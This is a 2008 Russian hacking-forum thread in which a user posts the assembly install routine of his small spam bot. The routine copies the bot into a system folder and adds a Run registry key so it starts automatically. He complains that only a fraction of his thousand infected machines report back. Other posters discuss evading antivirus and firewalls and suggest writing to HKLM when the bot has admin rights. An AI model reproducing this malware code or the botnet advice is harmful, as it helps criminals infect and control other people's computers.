ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Спам бот в 5,5 килобайт
  #1  
Старый 08.09.2008, 17:12
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Спам бот в 5,5 килобайт

Может ктонить пробовал написать меньше? У мну получилось, но баги в том, что почемуто бот кудато уходит постоянно и после перезагрузки компа не возвращается.
код установки бота
Код:
proc install
 invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
 invoke _lstrcat,ValueName,my_sys_name
 mov eax,[fs:18h]   ; GetModuleHandle
 mov eax,[eax+30h]
 mov eax,[eax+8h]
 invoke _GetModuleFileName,eax, Value, 256
 invoke _CopyFile,Value,ValueName,0

 invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
 test eax,eax
 jne _i_exit
 stdcall _lstrlen,ValueName
 invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
 invoke _RegCloseKey,[key]
_i_exit:
 ret
endp

Последний раз редактировалось slesh; 08.09.2008 в 17:29..
 
Ответить с цитированием

  #2  
Старый 08.09.2008, 17:35
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

т.е. уход сопровождается тем, что со временем бот уходит. - это связано тока с тем что компы уходят в офлайн, но странно почеу обратно не возвращаются
т.е. мало возврашаются. А также при отгрузке 1к ботов почемуто на отстук выходит 10-20%. при том что тоже самое наблюдалось и в его предке написанном на Delphi
 
Ответить с цитированием

  #3  
Старый 08.09.2008, 20:43
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме:
725870

Репутация: 208
По умолчанию

Ну а что ж ты хотел...
Про уходят: это беда всех ботов впринципе. Не всем же жить бесконечно. Аверы не бездействуют. Юзеры тоже могут обнаружить что-то странное.
Про отстук: во-первых, обход фаерволов. во-вторых: совместимость с разными виндами. думаю подробнее обяснять не надо )
 
Ответить с цитированием

  #4  
Старый 08.09.2008, 22:28
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

похоже ты ставишь автозапуск для текущего пользователя (если это код автозапуска тут приведен). То есть если зайти под другим пользователем программа запущена не будет. Также неплохо бы выполнить проверку доступных прав при установке - если есть права админа то писать в Hkey_local_machine.
И почему все константы записаны цифрами, это очень неудобно.
 
Ответить с цитированием

  #5  
Старый 08.09.2008, 22:36
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

в моём случае это наоборот удобно. даже очень удобно.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books C\C++ FRAGNATIC С/С++, C#, Delphi, .NET, Asm 119 26.04.2010 14:41
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Хакеры и кракеры или "Что такое хорошо и что такое плохо?" foreva Чужие Статьи 12 09.02.2008 12:26
Обнаружение Sql инъекций и Css атак k00p3r Чужие Статьи 0 12.06.2005 20:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ